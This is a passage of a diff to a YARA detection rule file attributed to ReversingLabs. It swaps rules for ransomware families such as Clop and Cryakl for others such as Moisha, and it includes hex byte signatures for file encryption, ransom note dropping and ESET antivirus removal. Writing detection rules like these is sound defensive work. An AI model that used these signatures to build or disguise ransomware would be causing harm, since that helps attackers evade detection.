-            ?? ?? 0F 0B 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89 44 24 ?? 48 8D 05 ?? ??
-            ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? E9
+		$find_files = {
+            11 ?? 11 ?? 9A 13 ?? 00 00 07 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ??
+            00 11 ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 00 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E
+            69 32 ?? 00 DE ?? 26 00 00 DE ?? 17 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 0C 16 13 ??
+            2B ?? 00 00 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 00
+            72 ?? ?? ?? ?? 08 11 ?? 9A 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ??
+            00 11 ?? 17 58 13 ?? 11 ?? 08 8E 69 FE 04 13 ?? 11 ?? 2D ?? 00 00 72 ?? ?? ?? ?? 1D 28
+            ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 1D 28 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 00 DE ?? 26 00 00 DE ?? 7E ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ??
+            ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 16 8C
+            ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11
+            ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ??
+            6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 1A 6F ?? ?? ?? ?? 00 7E ??
+            ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 17 6F
+            ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ??
+            72 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 00 07 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 73 ?? ?? ?? ??
+            13 ?? 11 ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 11 ?? 6F ?? ?? ?? ?? 26 2A
         }
-		$attach_to_server_64 = {
-            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
-            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? 48 C7 84 24 ?? ?? ??
-            ?? ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 89
-            7C 24 ?? 84 07 0F 57 C0 48 83 C7 ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? E8 ?? ?? ?? ?? 48
-            8B 6D ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48
-            89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D ?? ?? ?? ?? 48 89 4C
-            24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 04 24 48 8D 0D
-            ?? ?? ?? ?? 48 89 4C 24 ?? 48 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ??
-            48 89 04 24 48 8B 4C 24 ?? 48 89 4C 24 ?? 48 8B 4C 24 ?? 48 89 4C 24 ?? E8 ?? ?? ??
-            ?? 48 8B 44 24 ?? 48 8B 48 ?? 48 8B 10 48 8B 58 ?? 48 8B 40 ?? 48 39 CB 0F 87 ?? ??
-            ?? ?? 48 29 D9 48 29 D8 48 85 C0 0F 84 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 01 DA
-            48 89 54 24 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C
-            24 ?? 48 89 0C 24 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B
-            48 ?? 48 8B 50 ?? 84 01 48 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 48 83 C1 ?? 48 89 4C 24
-            ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 89 04 24 48 8B 44
-            24 ?? 48 8B 48 ?? 48 8B 40 ?? 48 89 4C 24 ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44
-            24 ?? 48 8B 4C 24 ?? 48 89 04 24 48 89 4C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B
-            4C 24 ?? 48 8B 54 24 ?? 48 C7 04 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 4C 24 ?? 48 89
-            54 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 89 44 24 ?? 48 89 8C 24 ??
-            ?? ?? ?? 90 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 48 83 C4 ?? C3 90 E8 ?? ?? ?? ?? 48 8B 6C
-            24 ?? 48 83 C4 ?? C3 31 DB E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 0B E8 ?? ?? ?? ?? E9
+		$desktop_kill_tick = {
+            02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 0B 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 08 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 09 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 13 ?? 07 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 07 28 ?? ?? ?? ?? 00
+            00 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 11 ?? 28 ?? ?? ?? ?? 00 00 02 7B ?? ?? ??
+            ?? 6F ?? ?? ?? ?? 00 2A
         }
-		$encrypt_file_64 = {
-            65 48 8B 0C 25 ?? ?? ?? ?? 48 8B 89 ?? ?? ?? ?? 48 3B 61 ?? 0F 86 ?? ?? ?? ?? 48 83
-            EC ?? 48 89 6C 24 ?? 48 8D 6C 24 ?? 48 8B 44 24 ?? 48 89 04 24 48 8B 44 24 ?? 48 89
-            44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 4C 24 ?? 48 8B 54 24 ?? 48 89 04 24 48
-            89 4C 24 ?? 48 89 54 24 ?? 48 8B 44 24 ?? 48 89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48
-            89 44 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48
-            8B 4C 24 ?? 48 8B 54 24 ?? 48 8B 5C 24 ?? 48 89 1C 24 48 8B 5C 24 ?? 48 89 5C 24 ??
-            48 89 44 24 ?? 48 89 4C 24 ?? 48 89 54 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            48 8B 6C 24 ?? 48 83 C4 ?? C3 E8 ?? ?? ?? ?? E9
+		$drop_ransom_note = {
+            00 16 28 ?? ?? ?? ?? 0A 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 00 07 72 ??
+            ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07
+            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 00 DE ?? 07 2C ??
+            07 6F ?? ?? ?? ?? 00 DC 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28
+            ?? ?? ?? ?? 26 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($get_files_for_encryption_32 and $encrypt_file_32 and $attach_to_server_32) or ($get_files_for_encryption_64 and $encrypt_file_64 and $attach_to_server_64))
+		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($desktop_kill_tick) and ($drop_ransom_note)
 }
-rule REVERSINGLABS_Win32_Ransomware_Clop : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Cryakl : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Clop ransomware."
+		description = "Yara rule that detects Cryakl ransomware."
 		author = "ReversingLabs"
-		id = "0ea63119-3773-5404-b332-8e3966fd35df"
+		id = "5c668278-458e-5b13-83c4-63beab5249ed"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Clop.yara#L1-L109"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0b63db16a4b1cae27a97d0ff9df692a63f1a11120ffac69c05a5c71fbd224007"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Cryakl.yara#L1-L64"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "51d50ab1ce021e2facbca3a35af372186287a8d69b66651c9804234a409d9932"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35155,100 +36641,64 @@ rule REVERSINGLABS_Win32_Ransomware_Clop : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Clop"
+		tc_detection_name = "Cryakl"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$encrypt_files_p1 = {
-            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
-            83 C4 ?? 83 BD ?? ?? ?? ?? ?? 74 ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ??
-            ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 6A ?? 68 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 8D ?? ?? ??
-            ?? 51 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ??
-            ?? 8B 88 ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 8B 82 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 8B
-            91 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 E8
-            ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ??
-            ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 83 BD ?? ?? ?? ?? ?? 74 ??
-            68 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74
-            ?? 68 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            74 ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ??
-            ?? ?? 52 FF 15
-        }
-		$encrypt_files_p2 = {
-            55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 50 8D
-            4D ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 FF
-            15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8D 95 ??
-            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 6A ?? 8D 85
-            ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 6A ??
-            68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? FF 15 ?? ?? ??
-            ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 6A ?? 8B
-            8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            FF 15 ?? ?? ?? ?? BA ?? ?? ?? ?? 85 D2 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D
-            ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 6A ?? 6A ?? E8 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ??
-            8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? E8 ?? ??
-            ?? ?? 50 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B
-            E5 5D C2
-        }
-		$encrypt_files_p3 = {
-            55 8B EC 83 EC ?? 6A ?? FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 89 45 ?? 8B
-            4D ?? 51 8D 55 ?? 52 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? FF 15 ?? ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 51 6A ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4
-            ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 8D 4D ??
-            51 8B 55 ?? 52 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 ?? FF 15 ??
-            ?? ?? ?? 33 C0 EB ?? 8B 4D ?? 8B 55 ?? 89 11 33 C0 8B E5 5D C3
-        }
-		$find_files = {
-            8D 95 ?? ?? ?? ?? 52 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52
-            8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74 ??
-            8D 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD
-            ?? ?? ?? ?? ?? 75 ?? EB ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85
-            C0 76 ?? 8D 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ?? 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ??
-            89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ??
-            51 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ??
-            ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 6A ?? 8D 45 ?? 50 E8
+		$enum_and_encrypt_files_1 = {
+            8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
+            ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
+            ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
+            30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ??
+            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
+            C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ??
+            ?? 83 E0 ?? 83 F8 ?? 75 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 92 ?? ?? ?? ??
+            84 C0 0F 84 ?? ?? ?? ?? FF 75 ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
         }
-		$uninstall_eset_av = {
-            8D 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 0F 86 ?? ?? ?? ?? 8D 4D ?? 51 68 ?? ?? ?? ?? 8D
-            95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ??
-            ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 8D ??
-            ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 81 BD ?? ?? ?? ?? ?? ?? ?? ?? 7D ?? 68 ?? ?? ??
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ??
-            FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? E9 ??
-            ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15
+		$enum_and_encrypt_files_2 = {
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ??
+            ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ??
+            C6 45 ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 52 ?? 8B D8
+            4B 85 DB 0F 8C ?? ?? ?? ?? 43 33 F6 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 8D ??
+            ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B D6 8B 38 FF 57 ?? 8B
+            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
+            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 75 ?? C6 45 ?? ??
+            46 4B 0F 85 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ??
+            ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ??
+            ?? 83 C0 ?? 83 D2 ?? 89 05 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ??
+            ?? ?? 8B 10 FF 92 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($uninstall_eset_av)
+		uint16(0)==0x5A4D and (( all of ($enum_and_encrypt_files_*)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Sevensevenseven : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Moisha : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects SevenSevenSeven ransomware."
+		description = "Yara rule that detects Moisha ransomware."
 		author = "ReversingLabs"
-		id = "049531bd-9505-5da1-9512-980383c8c5ec"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "c72f654f-955e-5ff6-ac91-19fbb858265c"
+		date = "2022-10-11"
+		modified = "2022-10-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.SevenSevenSeven.yara#L1-L148"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "583a8ac746cd749bd3927f10c864a3ac84f82f8bbd8d0ebf117e22b016d7ca94"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Moisha.yara#L1-L86"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "89cefbbb8ec722216721bb43eb14cc33fcd4671585051359a06b62236cbf3a6c"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -35256,124 +36706,77 @@ rule REVERSINGLABS_Win32_Ransomware_Sevensevenseven : TC_DETECTION MALICIOUS MAL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "SevenSevenSeven"
+		tc_detection_name = "Moisha"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$file_search_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ??
-            ?? 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 53 56 57 89 65 ?? BE ?? ?? ?? ?? 89 75
-            ?? 33 DB 89 5D ?? 88 5D ?? 89 75 ?? 89 5D ?? 88 5D ?? 89 75 ?? 88 5D ?? 68 ?? ?? ??
